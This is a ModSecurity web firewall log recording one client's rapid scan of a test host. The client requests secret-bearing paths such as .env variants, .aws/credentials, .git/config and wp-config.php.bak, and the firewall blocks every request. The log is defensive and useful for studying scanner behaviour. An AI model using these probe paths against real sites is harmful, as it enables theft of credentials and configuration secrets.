[Sat Jan 17 23:17:31.005478 2026] [:error] [pid 1465637] [client 185.177.72.60:34154] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWwKekwjzlOY5uJ3CcDeCgAAAAE"]
[Sat Jan 17 23:17:31.005612 2026] [:error] [pid 1465637] [client 185.177.72.60:34154] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWwKekwjzlOY5uJ3CcDeCgAAAAE"]
[Sat Jan 17 23:17:31.005743 2026] [:error] [pid 1465636] [client 185.177.72.60:34192] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aWwKelS2Pw3fqVRuRUA6NAAAAAA"]
[Sat Jan 17 23:17:31.005914 2026] [:error] [pid 1465636] [client 185.177.72.60:34192] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aWwKelS2Pw3fqVRuRUA6NAAAAAA"]
[Sat Jan 17 23:17:31.001243 2026] [:error] [pid 1484015] [client 185.177.72.60:34166] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aWwKe2tD9qS7bG6S-BmC_wAAAAk"]
[Sat Jan 17 23:17:31.002080 2026] [:error] [pid 1465654] [client 185.177.72.60:34186] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aWwKezsg88Fnk7qcsG1sgAAAAAY"]
[Sat Jan 17 23:17:31.006181 2026] [:error] [pid 1465654] [client 185.177.72.60:34186] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aWwKezsg88Fnk7qcsG1sgAAAAAY"]
[Sat Jan 17 23:17:31.006323 2026] [:error] [pid 1465654] [client 185.177.72.60:34186] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aWwKezsg88Fnk7qcsG1sgAAAAAY"]
[Sat Jan 17 23:17:31.006931 2026] [:error] [pid 1484015] [client 185.177.72.60:34166] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aWwKe2tD9qS7bG6S-BmC_wAAAAk"]
[Sat Jan 17 23:17:31.007076 2026] [:error] [pid 1484015] [client 185.177.72.60:34166] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aWwKe2tD9qS7bG6S-BmC_wAAAAk"]
[Sat Jan 17 23:17:31.101606 2026] [authz_core:error] [pid 1465639] [client 185.177.72.60:34244] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sat Jan 17 23:17:31.105480 2026] [:error] [pid 1465654] [client 185.177.72.60:34260] [client 185.177.72.60] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aWwKezsg88Fnk7qcsG1sgQAAAAY"]
[Sat Jan 17 23:17:31.105646 2026] [:error] [pid 1465636] [client 185.177.72.60:34282] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aWwKe1S2Pw3fqVRuRUA6NQAAAAA"]
[Sat Jan 17 23:17:31.105680 2026] [:error] [pid 1465654] [client 185.177.72.60:34260] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aWwKezsg88Fnk7qcsG1sgQAAAAY"]
[Sat Jan 17 23:17:31.105811 2026] [:error] [pid 1465654] [client 185.177.72.60:34260] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aWwKezsg88Fnk7qcsG1sgQAAAAY"]
[Sat Jan 17 23:17:31.105826 2026] [:error] [pid 1465636] [client 185.177.72.60:34282] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aWwKe1S2Pw3fqVRuRUA6NQAAAAA"]
[Sat Jan 17 23:17:31.105971 2026] [:error] [pid 1465636] [client 185.177.72.60:34282] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aWwKe1S2Pw3fqVRuRUA6NQAAAAA"]
[Sat Jan 17 23:17:31.204449 2026] [:error] [pid 1465638] [client 185.177.72.60:34300] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aWwKe3yeJt1bTz5T3HhLSAAAAAI"]
[Sat Jan 17 23:17:31.204846 2026] [:error] [pid 1465639] [client 185.177.72.60:34324] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aWwKe7t90umalWjOW8vyaQAAAAM"]
[Sat Jan 17 23:17:31.205020 2026] [:error] [pid 1465639] [client 185.177.72.60:34324] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aWwKe7t90umalWjOW8vyaQAAAAM"]
[Sat Jan 17 23:17:31.205216 2026] [:error] [pid 1465639] [client 185.177.72.60:34324] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aWwKe7t90umalWjOW8vyaQAAAAM"]
[Sat Jan 17 23:17:31.205363 2026] [:error] [pid 1465639] [client 185.177.72.60:34324] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aWwKe7t90umalWjOW8vyaQAAAAM"]
[Sat Jan 17 23:17:31.207557 2026] [:error] [pid 1465638] [client 185.177.72.60:34300] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aWwKe3yeJt1bTz5T3HhLSAAAAAI"]
[Sat Jan 17 23:17:31.207728 2026] [:error] [pid 1465638] [client 185.177.72.60:34300] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aWwKe3yeJt1bTz5T3HhLSAAAAAI"]
[Sat Jan 17 23:17:31.208328 2026] [:error] [pid 1465655] [client 185.177.72.60:34302] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aWwKeyFXd78sl9lQKfsSywAAAAc"]
[Sat Jan 17 23:17:31.208497 2026] [:error] [pid 1465655] [client 185.177.72.60:34302] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aWwKeyFXd78sl9lQKfsSywAAAAc"]
[Sat Jan 17 23:17:31.208633 2026] [:error] [pid 1465655] [client 185.177.72.60:34302] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aWwKeyFXd78sl9lQKfsSywAAAAc"]
[Sat Jan 17 23:17:31.210118 2026] [:error] [pid 1465636] [client 185.177.72.60:34362] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "aWwKe1S2Pw3fqVRuRUA6NgAAAAA"]
[Sat Jan 17 23:17:31.210306 2026] [:error] [pid 1465636] [client 185.177.72.60:34362] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "aWwKe1S2Pw3fqVRuRUA6NgAAAAA"]
[Sat Jan 17 23:17:31.210457 2026] [:error] [pid 1465636] [client 185.177.72.60:34362] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "aWwKe1S2Pw3fqVRuRUA6NgAAAAA"]
[Sat Jan 17 23:17:31.329741 2026] [:error] [pid 1465638] [client 185.177.72.60:34394] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aWwKe3yeJt1bTz5T3HhLSQAAAAI"]
[Sat Jan 17 23:17:31.329982 2026] [:error] [pid 1465638] [client 185.177.72.60:34394] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aWwKe3yeJt1bTz5T3HhLSQAAAAI"]
[Sat Jan 17 23:17:31.330134 2026] [:error] [pid 1465638] [client 185.177.72.60:34394] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aWwKe3yeJt1bTz5T3HhLSQAAAAI"]
[Sat Jan 17 23:17:31.330921 2026] [:error] [pid 1465636] [client 185.177.72.60:34450] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWwKe1S2Pw3fqVRuRUA6NwAAAAA"]
[Sat Jan 17 23:17:31.331091 2026] [:error] [pid 1465636] [client 185.177.72.60:34450] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWwKe1S2Pw3fqVRuRUA6NwAAAAA"]
[Sat Jan 17 23:17:31.331229 2026] [:error] [pid 1465636] [client 185.177.72.60:34450] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWwKe1S2Pw3fqVRuRUA6NwAAAAA"]
[Sat Jan 17 23:17:31.331263 2026] [:error] [pid 1465652] [client 185.177.72.60:34416] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "aWwKe76MPgkIbMiE8VTL0gAAAAU"]
[Sat Jan 17 23:17:31.331422 2026] [:error] [pid 1465652] [client 185.177.72.60:34416] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "aWwKe76MPgkIbMiE8VTL0gAAAAU"]
[Sat Jan 17 23:17:31.331552 2026] [:error] [pid 1465652] [client 185.177.72.60:34416] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "aWwKe76MPgkIbMiE8VTL0gAAAAU"]
[Sat Jan 17 23:17:31.333046 2026] [:error] [pid 1465640] [client 185.177.72.60:34438] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.queue"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.queue"] [unique_id "aWwKe96syg3vTOmgP2tOLAAAAAQ"]
